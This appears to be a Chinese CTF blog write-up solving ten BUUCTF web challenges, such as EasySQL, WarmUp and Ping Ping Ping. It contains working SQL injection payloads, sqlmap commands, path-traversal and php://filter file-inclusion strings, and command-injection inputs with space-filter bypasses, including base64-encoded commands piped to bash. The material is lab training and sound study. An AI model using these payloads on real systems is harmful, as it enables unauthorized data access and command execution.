第一题 [极客大挑战 2019]EasySQL

先输入1试试
返回参数username=1&password=1
输入username=1&password=1 order by 1,2,3,4,5,6
试探类型,试探了但是好像报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
可以尝试一下sql万能密码,用户名输入1,密码使用万能密码' or '1'='1
https://blog.csdn.net/u012206617/article/details/125770267

然后点击提交,发现显示flag
另一种方法
使用sqlmap直接跑(这里没有成功)
python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" -dbs
#使用sqlmap直接一把梭,没有出来,加参数
python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" --random-agent -dbs
#得出结果
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=-6221' OR 8577=8577#&password=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=1' AND (SELECT 6452 FROM (SELECT(SLEEP(5)))DPIW)-- NqgV&password=1
Parameter: password (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=1&password=-3288' OR 2496=2496#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=1&password=1' AND (SELECT 3789 FROM (SELECT(SLEEP(5)))Kfnu)-- kFrC
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string
[q] Quit
>
选择默认,然后报错了,显示没有爆出表
[21:34:04] [INFO] retrieved:
[21:34:05] [INFO] retrieved:
[21:34:05] [CRITICAL] unable to retrieve the database names
这里不会了结论:使用sql万能密码或者万能账号
得出flag,flag{8a48155f-d480-423e-9b13-99adfa8c8db1}
万能密码:' or '1'='1
这里sql查询语句会变成
select * from user where username= '1' and password = '' or '1'='1 '语句为真,可行,得到flag。
万能账号:admin' or 1=1 #
select * from user where username= 'admin' or 1=1 #' and password = '1'也为真,得到flag
第二题 [极客大挑战 2019]Havefun
启动靶机打开网址,发现一个猫,这里什么都没有,打开开发者工具看看
发现元素里面有东西

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}这里是一段php代码,分析代码可以看出,定义了一个变量cat,使用get传参cat,会输出cat,如果输出的cat参数等于dog,会输出Syc{cat_cat_cat_cat}
在网址中传参看看
?cat=dog

点击execute,发现显示flag
flag{61b37ff1-713c-4608-b8e3-b293aa686e37}
第三题 [HCTF 2018]WarmUp
这一题看题目标签得知是一个php的代码审计题目
创建容器,打开是一个滑稽,和上题一样,打开开发者工具看看

看到一个php访问看一下

打开是一个php,这里看不懂,发给gpt,让gpt简单分析一下代码
这段PHP代码展示了一个简单的文件包含机制,同时包含一定的安全检查,防止用户通过file参数任意包含文件。具体功能如下:
highlight_file(FILE): 这行代码会将当前PHP文件的源代码以高亮的形式显示出来。这样你可以在页面上看到这段PHP代码本身。
类 emmm:
定义了一个emmm类,包含静态方法checkFile,用于检查传入的文件是否在白名单内。
白名单($whitelist)仅包含两个文件:source.php和hint.php。
checkFile方法首先检查传入的页面参数是否存在且为字符串。如果不满足条件,输出"you can't see it"并返回false。
然后,它使用mb_substr和mb_strpos等函数提取文件路径,并逐步检查是否在白名单内。每次尝试不同的字符串处理方式来确定文件路径是否合法。
核心逻辑:
代码通过$_REQUEST['file']检查是否提供了file参数,并确保它是字符串。如果参数通过了emmm::checkFile方法的检查,则使用include包含指定的文件并终止脚本执行。
如果没有提供合法的文件,页面将显示一张图片(通过URL加载)。
安全分析:
代码采用了白名单机制,确保只有明确允许的文件(source.php和hint.php)可以被包含,避免了任意文件包含(LFI)攻击的可能性。
但仍需确保白名单内的文件是安全的,且不会被恶意修改。
传入的file参数被多次处理(如urldecode),以确保没有通过编码绕过检查,但这仍需注意编码相关的潜在风险。
总体来说,这段代码有一定的安全性,但为了确保更高的安全性,可以进一步加强验证或使用更安全的文件包含策略。看了一个大概,继续分析,从下面向上分析
$_REQUEST 是 PHP 中的一个超全局变量,它包含了通过 HTTP 请求的方式发送给服务器的所有数据的组合。具体来说,$_REQUEST 会包括以下数组的内容:
$_GET:通过 URL 查询字符串传递的参数(即GET请求的数据)。$_POST:通过表单或其他方式以POST请求方法传递的参数。$_COOKIE:通过HTTP请求中的 Cookie 传递的数据。
//即其关键在于传了文件包含漏洞的payload之后,还使checkFile返回真。
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) {
有点不是很理解,百度搜了一下,发现payload文件包含漏洞,构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx
直接访问一下hint.php

发现文件名是ffffllllaaaagggg
那就一点一点尝试吧
file=source.php?../ffffllllaaaagggg
加到第五个的时候出现flag了
source.php?file=source.php?../../../../../ffffllllaaaagggg
flag{5a62e888-0e1e-498b-b292-f7cd4c5035c8}
第四题 [ACTF2020 新生赛]Include
文件包含

点击tips
发现他访问了一下?file=flag.php
这里可以使用php的伪协议
php://filter
直接?file=php://filter/read=convert.base64-encode/resource=flag
就是将读取的内容进行base64加密,访问后出现base64,解密后发现flag

flag{15af3147-128a-45d6-86ed-c7ffe143dbc6}
第五题 [ACTF2020 新生赛]Exec
打开页面发现是一个ping,输入127.0.0.1回环地址看看

发现有回显,试试能不能用拼接符
&& 或者 &
127.0.0.1 & ls /
看到显示了
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.030 ms
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.049 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.050 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.030/0.043/0.050 ms看到根目录有个flag文件
127.0.0.1 & cat /flag
输入这个就可以看到flag了
flag{d10744a2-c938-40f3-a6fb-fd0b0442269e}第六题 [GXYCTF2019]Ping Ping Ping
这一题看着和上一题差不多,用上面的试试这一题
打开题目发现是用get传参的方式
打开hackbar、

发现并不能,也可以是限制空格,试试其他方法,;
使用;意思是执行完后执行后面的命令

发现有回显
可以看到一个flag.php的文件,使用cat查看

执行不了,应该是空格过滤,百度搜一下(命令绕过空格方法)
https://blog.csdn.net/m0_55754984/article/details/120280081
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1
IFS
<
<>
%20 (space)
%09 (tab)
X=$'cat/x09./flag.php';$X?ip=127.0.0.1;cat${IFS}flag.php


不能用{}
用?ip=127.0.0.1;cat$IFS$1flag.php

不能加flag,试试index,默认文件
?ip=127.0.0.1;cat$IFS$1index.php

分析代码得出过滤了特殊字符,然后百度找了一下大概思路
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca/t fla/g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),$(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的选一种思路解题,试试变量替换,用$a拼接flag
得出a=g;cat$IFS$1fla$a.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
这里没显示,但是执行了,又换了其他方法,最后在元素里面发现flag

第七题 [SUCTF 2019]EasySQL
看题目应该是个sql注入题目

把你的旗帜给我,我会告诉你旗帜是否正确。
输入一个1看看

使用万能密码试试

不行,网上查找方法,使用堆叠注入
使用sql查询数据库show databases;

继续查询表show tables;

执行查询flag试试

好像不能使用from
上网找的方法,发现可以使用mysql中sql_mode的参数设置,把||变成字符串连接符
https://blog.csdn.net/qq_39311377/article/details/132762315
PIPES_AS_CONCAT
set sql_mode=PIPES_AS_CONCAT;select 1

得出flag
flag{2354e18f-5409-4256-a02f-64cc95b2b368}
第八题 [强网杯 2019]随便注
打开网页,发现和上题差不多

这题是get传参,用sqlmap一把梭试试
python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1"
发现有结果

加参数
python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1" -dbs #查看数据库
这里出库了,爆表的时候出问题了,手动注入试试判断是否是字符型注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1'
这里报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=select 查询关键词过滤
发现联合注入过滤了,使用堆叠注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' order by 2--+ 查询字段

回显报错,就说明有两个字段
1'; show databases; 查询数据库

1%27;%20show%20tables;` 查看所有数据表

"1';show columns from 1919810931114514;--+
爆出1919810931114514的内容,发现里面是一个flag

select函数被过滤了,只能用其他方法查询
没有过滤 alter 和 rename。可以修改表名和列名
我们把表 words 改名为其它,然后把表 1919810931114514 改名为 words ,再在表 1919810931114514 插入一列 id ,或直接将列 flag 改名为 id ,当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。
这里是网上的解题思路
- 1';rename table
wordstowords1;rename table1919810931114514towords;alter tablewordschangeflagidvarchar(100) character set utf8 collate utf8_general_ci not NULL;#
网上的解释
- rename table `words` to `words1`; 修改表 words 改名为其它,
- rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words ,
- alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,
- 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,
- 然后再 1' or 1=1# ,展示flag最后直接万能密码查询就能显示flag

flag{fd0b43dc-4f30-4403-bcdb-de0d16b37f5d}这一题使用sqlmap好像也可以跑出来,但是我的sqlmap好像有问题
第九题 [极客大挑战 2019]LoveSQL

使用万能密码试试

出现一个md5字符串
尝试解密,发现解不开

通过查询字段发现总共三个字段

测试回显
使用database(),查询当前数据库

group_concat(table_name) from information_schema.tables where table_schema=database()爆表

可以看到两个表
先看看l0ve1ysq1表里面的内容
group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'

得到了三个字段
group_concat(id,username,password) from l0ve1ysq1
查看内容
查询完发现flag
flag{74b42ae0-ea41-4c43-947a-be3ae5ba4001}
使用工具,sqlmap一把梭
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -dbs 爆出所有数据库
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -tables 爆出geek数据库中的所有表
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -T l0ve1ysq1 -dump 爆出geek数据库中的l0ve1ysq1表中所有的数据

最后得出flag
第十题 [极客大挑战 2019]Secret File

打开题目发现寻找密码,这种清空先ctrl加u看一下源代码
有没有什么信息

发现了一个/Archive_room.php点击打开

打开看看

好像中间发生了什么,抓个包看看

有一个302跳转,但是中间还有一个隐藏文件,访问这个文件

代码审计,看到注释,说flag在flag.php文件里面,上面有个get传参file,这里可以使用php伪协议
filter
https://blog.csdn.net/qq_44879989/article/details/133513447

看不到,使用base64试试
?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php

解密看看

得出flag
flag{8eda8f4d-bbb1-4ac4-b455-dc70023a5336}
评论 (0)